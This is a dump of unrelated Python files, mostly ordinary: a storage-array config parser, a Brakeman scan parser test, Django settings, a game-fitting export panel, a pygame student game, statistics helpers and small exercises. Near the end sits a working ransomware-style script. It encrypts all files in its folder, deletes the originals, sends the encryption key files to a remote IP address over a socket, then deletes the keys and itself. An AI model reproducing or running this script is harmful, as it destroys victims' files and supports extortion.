"""Module to extract 3PAR parameters from inserv.config file"""

import os
import re

import utilities.data_structure_operations as dsop
import utilities.regular_expression_operations as reop

def storage_params_extract(storage_config, san_extracted_oceanstor_dct,
                           system_params, system_params_add, fcport_params, host_params,
                           pattern_dct, info):
    """Function to extract values from current switch confguration file.
    Returns list with extracted values"""

    # file name
    configname = os.path.basename(storage_config)
    # search control dictionary. continue to check file until all parameters groups are found
    collected = {'system': False, 'ip_addr': False, 'fcport': False,
                 "host": False, "fcinitiator": False, 'relation_hostid_ctrlport': False}
    # initialize structures to store collected data for the current storage
    # dictionary to store all DISCOVERED parameters
    system_summary_dct = {}
    system_summary_lst = []
    config_datetime = None

    # number of extracted controllers ip addresses
    mgmt_ip_addr_number = 0
    # extracted ip addresses
    mgmt_ip_addr_lst = []

    # number of extracted controller groups
    # controller group is a single controller or storage (depend from config)
    fcport_ctrl_group_number = 0
    # extracted fcports
    fcport_lst = []

    # extracted hosts (id, name, os, wwn)
    host_lst = []
    # extracted hosts id, name, os
    host_id_name_lst = []
    # extracted hosts id, wwn
    host_id_fcinitiator_lst = []
    # extracted relation hostid, controller portid and lunid
    hostid_ctrlportid_lst = []

    # configname which current config is duplicat of
    duplicated_configname = None

    with open(storage_config, encoding='utf-8', errors='ignore') as file:
        line = file.readline()
        # check file until all groups of parameters extracted
        while not all(collected.values()):
            # profile and summary section start
            if re.search(pattern_dct['storage_profile'], line) and not collected['system']:
                info_system = "System " + re.search(pattern_dct['storage_profile'], line).group(1)
                config_datetime = re.search(pattern_dct['storage_profile'], line).group(2)
                print(info_system, end = " ")
                info = info + " " + info_system
                collected['system'] = True
                line = reop.extract_key_value_from_line(system_summary_dct, pattern_dct, line, file,
                                                extract_pattern_name='parameter_value_pair',
                                                stop_pattern_name='license_header')
                controllers_number = int(system_summary_dct['Number of total controllers'])
                sn = system_summary_dct['Product Serial Number']
                # check if storage config was extracted before (config duplication)
                if not sn in san_extracted_oceanstor_dct:
                    configname_wo_ext, _ = os.path.splitext(configname)
                    san_extracted_oceanstor_dct[sn] = configname_wo_ext
                else:
                    duplicated_configname = san_extracted_oceanstor_dct[sn]
                    system_summary_dct = {}
                    break
            # mgmt ip address section start
            elif re.search(pattern_dct['mgmt_eth_id'], line):
                # each controller has mgmt ip address
                mgmt_ip_addr_number += 1
                if mgmt_ip_addr_number == controllers_number:
                    collected['ip_addr'] = True
                line = reop.extract_value_from_line(mgmt_ip_addr_lst, pattern_dct,
                                            line, file,
                                            extract_pattern_name='ip_addr',
                                            stop_pattern_name='gateway_mac')
            # controllers fcport section start (fcports are grouped by storage or controllers)
            # fcports grouped by storage are located sequentially in single section
            # fcports gruped by controllers are located in different sections
            elif re.search(pattern_dct['storage_grouped_fcports_header'], line) \
                or re.search(pattern_dct['controller_grouped_fcports_header'], line):
                # check if all controllers is extracted (for conroller grouped fcports)
                if re.search(pattern_dct['controller_grouped_fcports_header'], line):
                    fcport_ctrl_group_number += 1
                    if fcport_ctrl_group_number == controllers_number:
                        collected['fcport'] = True
                else:
                    collected['fcport'] = True
                while not re.search(pattern_dct['sas_eth_port_header'], line):
                    line = file.readline()
                    if not line:
                        break
                    # single fcport section start
                    if re.search(pattern_dct['port_id'], line):
                        fcport_dct = {}
                        line = reop.extract_key_value_from_line(fcport_dct, pattern_dct, line, file,
                                                        extract_pattern_name='parameter_value_pair',
                                                        stop_pattern_name='blank_or_sfpinfo', first_line_skip=False)
                        if fcport_dct:
                            fcport_lst.append([configname] + [fcport_dct.get(param) for param in fcport_params])
            # hosts section start
            elif re.search(pattern_dct['host_header'], line):
                line = file.readline()
                collected['host'] = True
                # while not re.search(pattern_dct['hostgroup_or_power_header'], line):
                while not re.search(pattern_dct['section_header'], line):
                    line = file.readline()
                    if not line:
                        break
                    # host id, name, os section start
                    if re.search(pattern_dct['host_id_name_line'], line):

                        line = reop.extract_list_from_line(host_id_name_lst, pattern_dct,
                                                    line, file,
                                                    extract_pattern_name= 'host_id_name_line',
                                                    stop_pattern_name='blank_line',
                                                    first_line_skip=False, line_add_values=configname)
                    # single host section start
                    elif re.search(pattern_dct['host_id_header'], line):
                        print(line)
                        # host parameters collection
                        host_details_dct = {}
                        # host wwns list
                        hostport_wwn_lst = []
                        # host list to organize extracted parameters
                        host_details_lst = []
                        # extract host os, name, os
                        line = reop.extract_key_value_from_line(host_details_dct, pattern_dct, line, file,
                                                        extract_pattern_name='parameter_value_pair',
                                                        stop_pattern_name='host_mapping_group_header')
                        print(host_details_dct)
                        print(line)
                        # extract host wwns
                        line = reop.extract_value_from_line(hostport_wwn_lst, pattern_dct, line, file,
                                                        extract_pattern_name='hostport_wwn',
                                                        stop_pattern_name='blank_line')
                        # add host details as list for each wwn
                        if host_details_dct:
                            host_details_lst = [configname] + [host_details_dct.get(param) for param in host_params]
                            for wwn in hostport_wwn_lst:
                                host_lst.append([*host_details_lst, wwn])
            # hosts fcinitiator section start
            elif re.search(pattern_dct['fcinitiator_header'], line):
                line = file.readline()
                collected['fcinitiator'] = True
                # while not re.search(pattern_dct['sfp_header'], line):
                while not re.search(pattern_dct['section_header'], line):
                    line = file.readline()
                    if not line:
                        break
                    if re.search(pattern_dct['host_id_fcinitiator_line'], line):
                        line = reop.extract_list_from_line(host_id_fcinitiator_lst, pattern_dct,
                                                    line, file,
                                                    extract_pattern_name= 'host_id_fcinitiator_line',
                                                    stop_pattern_name='blank_line',
                                                    first_line_skip=False, line_add_values=configname)
            # relation hostid, ctrl portid and lunid section start
            elif re.search(pattern_dct['relation_hostid_port_lun_header'], line):
                line = file.readline()
                collected['relation_hostid_ctrlport'] = True
                while not re.search(pattern_dct['section_header'], line):
                    line = file.readline()
                    if not line:
                        break
                    if re.search(pattern_dct['relation_hostid_port_lun_line'], line):
                        line = reop.extract_list_from_line(hostid_ctrlportid_lst, pattern_dct,
                                                    line, file,
                                                    extract_pattern_name= 'relation_hostid_port_lun_line',
                                                    stop_pattern_name='blank_line',
                                                    first_line_skip=False, line_add_values=configname)
            else:
                line = file.readline()
                if not line:
                    break

        if system_summary_dct:
            ip_addr = ', '.join(mgmt_ip_addr_lst) if mgmt_ip_addr_lst else None
            system_summary_values = (configname, ip_addr, config_datetime)
            # adding additional parameters and values to the parameters dct
            dsop.update_dct(system_params_add, system_summary_values, system_summary_dct)
            # creating list with REQUIRED parameters for the current system.
            # if no value in the dct for the parameter then None is added
            # and appending this list to the list of all systems
            system_summary_lst.append([system_summary_dct.get(param) for param in system_params])

        storage_oceanstore_lst = [system_summary_lst, fcport_lst, host_lst, host_id_name_lst, host_id_fcinitiator_lst, hostid_ctrlportid_lst]
        return storage_oceanstore_lst, info, duplicated_configname


from ..dojo_test_case import DojoTestCase
from dojo.tools.brakeman.parser import BrakemanParser
from dojo.models import Test

class TestBrakemanParser(DojoTestCase):

    def test_parse_file_no_finding(self):
        testfile = open("unittests/scans/brakeman/no_finding.json")
        parser = BrakemanParser()
        findings = parser.get_findings(testfile, Test())
        self.assertEqual(0, len(findings))

    def test_parse_file_has_two_findings(self):
        testfile = open("unittests/scans/brakeman/two_findings.json")
        parser = BrakemanParser()
        findings = parser.get_findings(testfile, Test())
        testfile.close()
        self.assertEqual(2, len(findings))

    def test_parse_file_has_many_findings(self):
        testfile = open("unittests/scans/brakeman/many_findings.json")
        parser = BrakemanParser()
        findings = parser.get_findings(testfile, Test())
        testfile.close()
        self.assertEqual(18, len(findings))


from .base import *

DEBUG = True
ENVIRONMENT_NAME = 'DEV Server'
ENVIRONMENT_COLOR = '#FF2222'

# export DJANGO_SETTINGS_MODULE=backoffice.settings.dev
# python manage.py runserver
# # settings/local.py세팅 파일로 셸 시작
# python
# manage.py
# shell - -settings = twoscoops.settings.local
#
# # settings/local.py세팅 파일로 서버 구동
# python
# manage.py
# runserver - -settings = twoscoops.settings.local


import wx
import os

from gui.preferenceView import PreferenceView
from gui.bitmapLoader import BitmapLoader

import gui.mainFrame
import service
import gui.globalEvents as GE

class PFHTMLExportPref ( PreferenceView):
    title = "HTML Export"
    desc  = "HTML Export (File > Export HTML) allows you to export your entire fitting "+\
            "database into an HTML file at the specified location. This file can be "+\
            "used in the in-game browser to easily open and import your fits, or used "+\
            "in a regular web browser to open them at NULL-SEC.com or Osmium."
    desc2 = "Enabling automatic exporting will update the HTML file after any change "+\
            "to a fit is made. Under certain circumstance, this may cause performance issues."
    desc3 = "Preferred website to view fits while not using in-game browser can be selected below."
    desc4 = "Export Fittings in a minmal HTML Version, just containing the Fittingslinks " +\
            "without any visual styling or javscript features"

    def populatePanel( self, panel ):
        self.mainFrame = gui.mainFrame.MainFrame.getInstance()
        self.HTMLExportSettings = service.settings.HTMLExportSettings.getInstance()
        self.dirtySettings = False
        dlgWidth = panel.GetParent().GetParent().ClientSize.width
        mainSizer = wx.BoxSizer( wx.VERTICAL )

        self.stTitle = wx.StaticText( panel, wx.ID_ANY, self.title, wx.DefaultPosition, wx.DefaultSize, 0 )
        self.stTitle.Wrap( -1 )
        self.stTitle.SetFont( wx.Font( 12, 70, 90, 90, False, wx.EmptyString ) )
        mainSizer.Add( self.stTitle, 0, wx.ALL, 5 )

        self.m_staticline1 = wx.StaticLine( panel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL )
        mainSizer.Add( self.m_staticline1, 0, wx.EXPAND|wx.TOP|wx.BOTTOM, 5 )

        self.stDesc = wx.StaticText( panel, wx.ID_ANY, self.desc, wx.DefaultPosition, wx.DefaultSize, 0 )
        self.stDesc.Wrap(dlgWidth - 50)
        mainSizer.Add( self.stDesc, 0, wx.ALL, 5 )

        self.PathLinkCtrl = wx.HyperlinkCtrl( panel, wx.ID_ANY, self.HTMLExportSettings.getPath(), u'file:///{}'.format(self.HTMLExportSettings.getPath()), wx.DefaultPosition, wx.DefaultSize, wx.HL_ALIGN_LEFT|wx.NO_BORDER|wx.HL_CONTEXTMENU )
        mainSizer.Add( self.PathLinkCtrl, 0, wx.ALL|wx.EXPAND, 5)

        self.fileSelectDialog = wx.FileDialog(None, "Save Fitting As...", wildcard = "EVE IGB HTML fitting file (*.html)|*.html", style = wx.FD_SAVE)
        self.fileSelectDialog.SetPath(self.HTMLExportSettings.getPath())
        self.fileSelectDialog.SetFilename(os.path.basename(self.HTMLExportSettings.getPath()));

        self.fileSelectButton = wx.Button(panel, -1, "Set export destination", pos=(0,0))
        self.fileSelectButton.Bind(wx.EVT_BUTTON, self.selectHTMLExportFilePath)
        mainSizer.Add( self.fileSelectButton, 0, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5)

        self.stDesc2 = wx.StaticText( panel, wx.ID_ANY, self.desc2, wx.DefaultPosition, wx.DefaultSize, 0 )
        self.stDesc2.Wrap(dlgWidth - 50)
        mainSizer.Add( self.stDesc2, 0, wx.ALL, 5 )

        self.exportEnabled = wx.CheckBox( panel, wx.ID_ANY, u"Enable automatic HTML export", wx.DefaultPosition, wx.DefaultSize, 0 )
        self.exportEnabled.SetValue(self.HTMLExportSettings.getEnabled())
        self.exportEnabled.Bind(wx.EVT_CHECKBOX, self.OnExportEnabledChange)
        mainSizer.Add( self.exportEnabled, 0, wx.ALL|wx.EXPAND, 5 )

        self.stDesc4 = wx.StaticText( panel, wx.ID_ANY, self.desc4, wx.DefaultPosition, wx.DefaultSize, 0 )
        self.stDesc4.Wrap(dlgWidth - 50)
        mainSizer.Add( self.stDesc4, 0, wx.ALL, 5 )

        self.exportMinimal = wx.CheckBox( panel, wx.ID_ANY, u"Enable minimal export Format", wx.DefaultPosition, wx.DefaultSize, 0 )
        self.exportMinimal.SetValue(self.HTMLExportSettings.getMinimalEnabled())
        self.exportMinimal.Bind(wx.EVT_CHECKBOX, self.OnMinimalEnabledChange)
        mainSizer.Add( self.exportMinimal, 0, wx.ALL|wx.EXPAND, 5 )

        self.stDesc3 = wx.StaticText( panel, wx.ID_ANY, self.desc3, wx.DefaultPosition, wx.DefaultSize, 0 )
        self.stDesc3.Wrap(dlgWidth - 50)
        mainSizer.Add( self.stDesc3, 0, wx.ALL, 5 )

        websiteSizer = wx.BoxSizer( wx.HORIZONTAL )

        self.stWebsite = wx.StaticText( panel, wx.ID_ANY, u"Website:", wx.DefaultPosition, wx.DefaultSize, 0 )
        self.stWebsite.Wrap( -1 )
        websiteSizer.Add( self.stWebsite, 0, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 )

        self.chWebsiteChoices = [ "o.smium.org", "null-sec.com" ]
        self.chWebsiteType = wx.Choice( panel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, self.chWebsiteChoices, 0 )
        self.chWebsiteType.SetStringSelection( self.HTMLExportSettings.getWebsite() )
        websiteSizer.Add( self.chWebsiteType, 0, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 )
        self.chWebsiteType.Bind(wx.EVT_CHOICE, self.OnCHWebsiteTypeSelect)

        mainSizer.Add( websiteSizer, 0, wx.EXPAND, 5 )

        panel.SetSizer( mainSizer )
        panel.Layout()

    def setPathLinkCtrlValues(self, path):
        self.PathLinkCtrl.SetLabel(self.HTMLExportSettings.getPath())
        self.PathLinkCtrl.SetURL(u'file:///{}'.format(self.HTMLExportSettings.getPath()))
        self.PathLinkCtrl.SetSize(wx.DefaultSize);
        self.PathLinkCtrl.Refresh()

    def selectHTMLExportFilePath(self, event):
        if self.fileSelectDialog.ShowModal() == wx.ID_OK:
            self.HTMLExportSettings.setPath(self.fileSelectDialog.GetPath())
            self.dirtySettings = True
            self.setPathLinkCtrlValues(self.HTMLExportSettings.getPath())

    def OnExportEnabledChange(self, event):
        self.HTMLExportSettings.setEnabled(self.exportEnabled.GetValue())

    def OnMinimalEnabledChange(self, event):
        self.HTMLExportSettings.setMinimalEnabled(self.exportMinimal.GetValue())

    def OnCHWebsiteTypeSelect(self, event):
        choice = self.chWebsiteType.GetStringSelection()
        self.HTMLExportSettings.setWebsite(choice)

    def getImage(self):
        return BitmapLoader.getBitmap("prefs_html", "gui")

PFHTMLExportPref.register()


#COURSEWORK
import pygame
import pygame_menu
from sprites import *

pygame.init()

screen_width = 460
screen_height = 690
win = pygame.display.set_mode((screen_width,screen_height))
#walkRight = [pygame.image.load('R1.png'), pygame.image.load('R2.png'), pygame.image.load('R3.png'), pygame.image.load('R4.png'), pygame.image.load('R5.png'), pygame.image.load('R6.png'), pygame.image.load('R7.png'), pygame.image.load('R8.png'), pygame.image.load('R9.png')]
#walkLeft = [pygame.image.load('L1.png'), pygame.image.load('L2.png'), pygame.image.load('L3.png'), pygame.image.load('L4.png'), pygame.image.load('L5.png'), pygame.image.load('L6.png'), pygame.image.load('L7.png'), pygame.image.load('L8.png'), pygame.image.load('L9.png')]
mudkip = pygame.image.load('mudkip_sprite.png')
charizard = pygame.image.load('charizard_sprite.png')
bg = pygame.image.load('backdrop1.jpg')

#player_ss = spritesheet(os.path.join('Assets','naruto_sheet.bmp'))
#stance, left, left, right, right, jump, air_jump_left, air_jump_right
#player_images = player_ss.images_at( (pygame.Rect(4,11,29,44), pygame.Rect(200,493,42,33),pygame.Rect(38,446,56,32),
                               #pygame.Rect(11,402,36,28), pygame.Rect(43,401,33,28),
                               #pygame.Rect(4,268,28,51),
                               #pygame.Rect(407,4712,67,64), pygame.Rect(410,4715,62,60)), colorkey=(73,176,255))

clock = pygame.time.Clock()

class player(object):
    def __init__(self,x,y,width,height):
        self.x = x
        self.y = y
        self.width = width
        self.height = height
        self.vel = 5
        self.standing = True
        self.walkCount = 0
        self.left = False
        self.right = False
        self.up = False
        self.down = False
        self.standing = True

    def draw(self, win):
        if self.walkCount + 1 >= 27:
            self.walkCount = 0

        if not(self.standing):
            if self.left:
                #win.blit(player_images[b], (self.x, self.y))
                win.blit(mudkip,(self.x,self.y))
                #win.blit(walkLeft[self.walkCount//3], (self.x,self.y))
                self.walkCount += 1
            elif self.right:
                win.blit(mudkip,(self.x,self.y))
                #win.blit(walkRight[self.walkCount//3], (self.x,self.y))
                self.walkCount +=1

            elif self.up:
                win.blit(mudkip,(self.x,self.y))
                self.walkCount +=1

            elif self.down:
                win.blit(mudkip,(self.x,self.y))
                self.walkCount +=1

        else:
            if self.right:
                win.blit(mudkip,(self.x,self.y))
                #win.blit(walkRight[0], (self.x, self.y))
            else:
                win.blit(mudkip,(self.x,self.y))
                #win.blit(walkLeft[0], (self.x, self.y))

    def hit(self):
        self.x = 100
        self.y = 410
        self.walkCount = 0
        font1 = pygame.font.SysFont('comicsans', 100)
        text = font1.render('-5', 1, (255,0,0))
        win.blit(text, (250 - (text.get_width()/2),200))
        pygame.display.update()
        i = 0
        while i < 200:
            pygame.time.delay(10)
            i += 1
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    i = 201
                    pygame.quit()

class rival(object):
    def __init__(self,x,y,width,height):
        self.x = x
        self.y = y
        self.width = width
        self.height = height
        self.fought = False

    def draw():
        win.blit(charizard,(self.x,self.y))

def redraw():
    win.blit(bg, (0,0))
    man.draw(win)

    pygame.display.update()

man = player(200,410,64,64)
dragon = rival(300,500,64,64)
def game():

    run = True
    while run:
        clock.tick(27)

        if rival.fought == False:
            if player.x == rival.x and player.y < rival.y:
                battle()

        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                run = False

        keys = pygame.key.get_pressed()

        if keys[pygame.K_LEFT] and man.x > man.vel:
            man.x-= man.vel
            man.right = False
            man.left = True
            man.up = False
            man.down = False
            man.standing = False

        elif keys[pygame.K_RIGHT] and man.x < screen_width - man.width - man.vel:
            man.x+= man.vel
            man.right = True
            man.left = False
            man.up = False
            man.down = False
            man.standing = False

        elif keys[pygame.K_UP] and man.y > man.vel:
            man.y-= man.vel
            man.right = False
            man.left = False
            man.up = True
            man.down = False
            man.standing = False

        elif keys[pygame.K_DOWN] and man.y < screen_height - man.height - man.vel:
            man.y+= man.vel
            man.right = False
            man.left = False
            man.up = False
            man.down = True
            man.standing = False

        redraw()

def battle():
    pass

def main():
    menu = pygame_menu.Menu('Pokemon Reza!', screen_width,screen_height,theme=pygame_menu.themes.THEME_BLUE)
    menu.add.button('Play', game)
    menu.add.button('Controls', controls)
    menu.add.button('Quit', quits)
    #myimage = pygame_menu.baseimage.BaseImage(
        #'bg.jpg'=pygame_menu.baseimage.IMAGE_EXAMPLE_GRAY_LINES,
        #drawing_mode=pygame_menu.baseimage.IMAGE_MODE_REPEAT_XY,
        #offset=(0,0)
    #)
    #mytheme.background_color = myimage
    menu.mainloop(win)

def controls():
    menu = pygame_menu.Menu('Controls!', screen_width,screen_height,theme=pygame_menu.themes.THEME_BLUE)
    menu.add.label("Arrow keys for movement.")
    menu.add.label("Click for anything else.")
    menu.add.button('Back', main)
    menu.mainloop(win)

def quits():
    pygame.quit()

main()


# basic_stats.py: Basic stats functions (not available in Numpy alone) that are repeatedly used in the other fancier
# modules in this package.

import numpy as np

# =========================
# Basic statistics functions
# =========================
# Function for fisher transformation; used for one correlation coefficent averaging method
def fisher_transform(x, output_type='z', method='short'):
    """
    Calculates regular Fisher z-transformation of Pearson correlation
    coefficients (aka r values) into z-scores, or inverse fisher
    z-transformation of z-scores into Pearson correlation coefficients.

    Parameters
    ----------
    x : array-like
        The data array to be transformed.

    output_type : str
        The output statistic that is desired. 'z' implies regular
        Fisher z-transformation, while 'r' implies the inverse.

        (Default is 'z')

    method : str
        (Primarily exists for function test purposes)
        Chooses the method of calculation. 'short' uses numpy.arctanh and
        numpy.tanh to produce regular and inverse transformations,
        respectively. 'Long' instead calculates it step by step, but still
        uses numpy.log and numpy.exp for regular and inverse transforms.

        (Default is 'short')

    Returns
    -------
    output : array-like
        Will have the same shape/dimensions as x

    Warning:
    Using Fisher-transformation in within-between ISC (for calculating)
    average z then inverse transforming back to r) currently produces
    sporadic missing data, so the averaging method should use the
    median instead until this the effect of this function on results
    is better tested and validated.

    """
    # Currently, both output types assume the correct input (i.e., r or z) is provided
    # Transform Pearson r correlation coefficients into z by default or r when defined
    def arctanh_tanh(x, output): # fisher z transformation calculated with arctanh and tanh
        if output == 'z':
            z = np.arctanh(x)
            return z
        elif output == 'r':
            r = np.tanh(x)
            return r

    def long_fisher(x, output): # fisher z transformation calculated the long way
        if output == 'z':
            z = np.log((1+x)/(1-x)) / 2
            return z
        # Transform z scores back into r-values (presumably after z is averaged)
        elif output == 'r':
            r = (np.exp(2*x)-1) / (np.exp(2*x)+1)
            return r

    if method == 'short':
        transformed_output = arctanh_tanh(x, output_type)
    elif method == 'long':
        transformed_output = long_fisher(x, output_type)

    return transformed_output

# Retrieves upper triangle of a matrix
# TODO: I should make this upper or lower option
# NOTE: This function is not currently incorporated in any other function--should it be?
def unique_tri(array):
    """
    Retrieves the upper-triangle of a square m x m matrix; used in the
    context of getting unique x and y pairs. This currently excludes
    diagonal values since numpy.triu() already includes it.

    Parameters
    ----------
    array : array-like
        The matrix that the triangle is obtained from

    Returns
    -------
    output : the triangle (excluding the diagonal values)

    """

    m = array.shape[0]
    r, c = np.triu_indices(m,1)
    return array[r,c]

# Computes Pearson correlation coefficient between two matrices
def compute_r(a, b, compare_index='pairwise', axis=0):
    """
    Compute Pearsons' R for every x,y combination
    Note:
    - allows for (i,j) and (j,i)
    - symmetry depends on whether x == y
    - final matrix shape can be non-square
    """

    # rows are vars: change cols to rows if other axis is desired
    if axis==1:
        a, b = a.T, b.T

    # Reshape 1d data into 2d array with 1 row
    if a.ndim == 1:
        a = a[np.newaxis, :]
    if b.ndim == 1:
        b = b[np.newaxis, :]

    # Correlate every combination of (x,y) pairs of rows
    if compare_index == 'pairwise':
        r_array = np.full((b.shape[0], a.shape[0]), np.nan)
        for i, b_row in enumerate(b):
            for j, a_row in enumerate(a):
                r_array[i, j] = np.corrcoef(a_row, b_row)[0, 1]

    elif compare_index == 'same':
        shortest_row = sorted([a.shape[0], b.shape[0]])[0] # first item is shortest
        r_array = np.full(shortest_row, np.nan)
        for i, row in enumerate(zip(a, b)):
            r_array[i] = np.corrcoef(row[0], row[1])[0, 1]

    return r_array

# Function to easily choose the averaging method for a matrix of correlation coefficients
def r_average(x, method='median', axis=None, fisher_method='short'):
    """
    Method can be
    - median (default)
    - fisher (fisher z -> mean -> fisher z inverse)
    - mean (not recommended, but included for comparison purposes)
    """
    if method=='median':
        r_average = np.median(x, axis=axis)

    elif method=='fisher':
        if fisher_method=='short': # uses arctanh / tanh (inverse transform)
            r_average = np.mean(fisher_transform(x), axis=axis) # get mean z values
            r_average = fisher_transform(r_average, output_type='r') # turn mean z-values back into r

        elif fisher_method=='long': # calculates transformation the long way
            r_average = np.mean(fisher_transform(x, method='long'), axis=axis)
            r_average = fisher_transform(r_average, output_type='r', method='long')

    elif method=='mean':
        r_average = np.mean(x, axis=axis)

    return r_average


class Solution:
    # @param A : string
    # @param B : string
    # @return a strings
    def addBinary(self, A, B):
        num1 = bin(int(A, 2))
        num2 = bin(int(B, 2))
        bin_str = bin(int(num1, 2)+int(num2, 2))
        b_index = bin_str.index('b')
        return bin_str[b_index+1:]

s = Solution()
print(s.addBinary("11", "100"))


while True:
     nome = str(input('Informe o nome:'))
     sexo = str(input('Informe o sexo: [M/F] ')).strip().upper()[0]
     while sexo not in  'MmFf':
      sexo = str(input('Dados inválidos. Digite novamente ' ))
     n1 = float(input('Informe a primeira nota:'))
     if n1 < 0 or n1 > 10:
         print("A nota deve ser um valor entre zero e dez")
     n2 = float(input('Informe a segunda nota: '))
     if n2 < 0 or n2 > 10:
         print("A nota deve ser um valor entre zero e dez")
     n3 = float(input('Informe a terceira nota: '))
     if n3 < 0 or n3 > 10:
         print("A nota deve ser um valor entre zero e dez")

     media = (n1 + n2 + n3) / 3
     print(media)

     if media >= 7 and media <= 10:
        print("Estudante aprovado")
     elif media < 7.0 and media >= 4:
        print("Estudante Exame")
     else:
        print("Reprovado")

     sexof = 'f'
     sexom = 'm'
     print('A quantidade do sexo feminino é:', len(sexof))

     total_inscritos = len(sexof) + (len(sexom))
     print('O valor absoluto é : ', abs(total_inscritos))

     resp = ' '
     while resp not in 'SN':
         resp = str(input('deseja continuar?[S/N] ')).upper()


#-*- coding=utf-8 -*-
#written by Hacden 2020/03/25
import socket
import os
import random
import sys
import uuid
import struct

mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
myaddr = "_".join([mac[e:e+2] for e in range(0,11,2)])
class CRYPT_FILE():
    def __init__(self):
        #key文件名
        self.key_file = [myaddr + "_key",myaddr+"_被加密的文件.txt",myaddr +".txt"]
        self.crypt_dir = "./"
        self.output_name = ".hacden"
        self.exec_file = sys.argv[0].split('\\')[-1]

    # 以乱序的数字来对文件进行加密
    def __gen_key(self):
        #生成数字
        num_key = list(range(256))
        random.shuffle(num_key)
        return num_key

    # 生成秘钥文件
    def __save_keyfile(self,num_key):
        fo = open(self.key_file[0], 'wb')
        fo.write(bytes(num_key))
        fo.close()

    # 读取秘钥文件
    def __get_key(self):
        f_key = open(self.key_file[0], 'rb')
        by_key = f_key.read()
        f_key.close()
        return by_key

    # 加密算法
    def __crypt(self,by_key,input_name):
        crypt_filename = open(self.key_file[1], 'a')
        crypt_filename.write(self.crypt_dir + input_name + "\n")
        crypt_filename.close()
        out_name = input_name.split('.')[0] + self.output_name
        #读源文件
        in_name = open(input_name, 'rb')
        in_f = in_name.read()
        flen = len(in_f)

        buff = []
        for i in range(flen):
            c = i % len(by_key)
            f_data = in_f[i] ^ by_key[c]
            buff.append(f_data)

        # 写加密文件
        output_file = open(out_name, 'wb')
        output_file.write(bytes(buff))
        in_name.close()
        output_file.close()
        # 删除源文件
        os.remove(input_name)

    #获取crypt_dir下的所有文件
    def __get_dir_file_encode(self,by_key):
        file_list = os.listdir(self.crypt_dir)
        file_count = len(file_list)
        for i in range(file_count):
            input_d = os.path.join(self.crypt_dir, file_list[i])
            input_name = input_d.split('/')[-1]
            if input_name == self.exec_file or input_name == self.key_file[0]:
                continue
            # 加密
            self.__crypt(by_key,input_name)
        with open(self.key_file[2],"w") as ma:
            ma.write(myaddr)
            ma.close()
        print('路径 %s 下所有文件已被加密!' % (self.crypt_dir))

    def run(self):
        num_key = self.__gen_key()
        self.__save_keyfile(num_key)
        # 读秘钥文件进行加密
        by_key = self.__get_key()
        self.__get_dir_file_encode(by_key)

#上传秘钥文件到服务器
class PUT_FILE():
    def __init__(self):
        self.connect_ip = "192.168.8.1"
        self.connect_port = 54250
        self.so = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.key_file = [myaddr + "_key",myaddr+"_被加密的文件.txt",myaddr + ".txt"]
        self.exec_file = sys.argv[0].split('\\')[-1]

    def __connect_server(self):
        #ipv4模式tcp协议
        self.so.connect((self.connect_ip,self.connect_port))
        self.so.settimeout(10)

    def __send_file(self):

        for name in self.key_file:
            if os.path.isfile(name):
                fo = open(name, 'rb')
                alldata = b""
                while True:
                    data = fo.read(1024)
                    alldata += data
                    if not data:
                        break
                msg_len = len(alldata)
                msg_lenint_struct = struct.pack('i', msg_len)
                self.so.sendall(msg_lenint_struct + alldata)
                fo.close()

    def run(self):
        self.__connect_server()
        self.__send_file()
        self.so.close()
        # # 删除秘钥文件\删除被加密文件\地址文件
        for dl in self.key_file:
            os.remove(dl)
        #删除自身
        os.remove(self.exec_file)

if __name__ == '__main__':
    crypt = CRYPT_FILE()
    crypt.run()
    put_file = PUT_FILE()
    put_file.run()

加密文件代码/加密.py


from client.controllers.base_page_controller import BasePageController
from client.controllers.end_game_page_controller import EndGamePageController
from client.controllers.play_game_page_controller import PlayGamePageController
from client.controllers.pick_game_page_controller import PickGamePageController
from client.controllers.manage_preferences_page_controller import (
    ManagePreferencesPageController,
)
from client.model.game_manager import GameManager
from client.controllers.welcome_page_controller import WelcomePageController
from client.controllers.create_account_page_controller import (
    CreateAccountPageController,
)

from client.model.user import User

class PageMachine:
    def __init__(self) -> None:
        """
        Class that controls which page controller is currently active.
        Based on callbacks from the various page controllers, the next page controller can be determined.
        """
        self.current_page_controller: BasePageController = WelcomePageController(
            user_created_callback=self.user_created_callback,
            create_account_callback=self.create_account_callback,
        )

    def run(self) -> None:
        """
        Forever runs the active page controller
        """
        while True:
            self.current_page_controller.run()

    def go_home_callback(self) -> None:
        """
        Update current page controller to welcome page when user wants to go to home screen
        """
        self.current_page_controller = WelcomePageController(
            user_created_callback=self.user_created_callback,
            create_account_callback=self.create_account_callback,
        )

    def user_created_callback(self, main_user: User) -> None:
        """
        Update current page controller to pick game page once user has been created

        :param main_user: User that was created
        """
        self.current_page_controller = PickGamePageController(
            go_home_callback=self.go_home_callback,
            game_picked_callback=self.game_picked_callback,
            manage_preferences_callback=self.manage_preferences_callback,
            main_user=main_user,
        )

    def create_account_callback(self) -> None:
        """
        Goes to create account page when requested
        """
        self.current_page_controller = CreateAccountPageController(
            go_home_callback=self.go_home_callback,
            login_callback=self.login_callback,
        )

    def end_game_callback(self, game_manager: GameManager) -> None:
        """
        Update current page controller to end game page when gameplay has completed

        :param game_manager: Contains the main user of the application and Game once it was completed
        """
        self.current_page_controller = EndGamePageController(
            go_home_callback=self.go_home_callback,
            play_again_callback=self.play_again_callback,
            play_different_mode_callback=self.play_different_mode_callback,
            game_manager=game_manager,
        )

    def game_picked_callback(self, game_manager: GameManager) -> None:
        """
        Starts playing game once one has been created

        :param game_manager: Contains the main user of the application and the picked game
        """
        self.current_page_controller = PlayGamePageController(
            end_game_callback=self.end_game_callback, game_manager=game_manager
        )

    def manage_preferences_callback(self, user: User) -> None:
        """
        Goes to manage preferences page

        :param user: User whose preferences should be changed
        """
        self.current_page_controller = ManagePreferencesPageController(
            go_home_callback=self.go_home_callback,
            preferences_complete_callback=self.back_to_pick_game_callback,
            user=user,
        )

    def play_again_callback(self, game_manager: GameManager) -> None:
        """
        Plays game again with a created game

        :param game_manager: Contains the main user of the application and the game to play with
        """
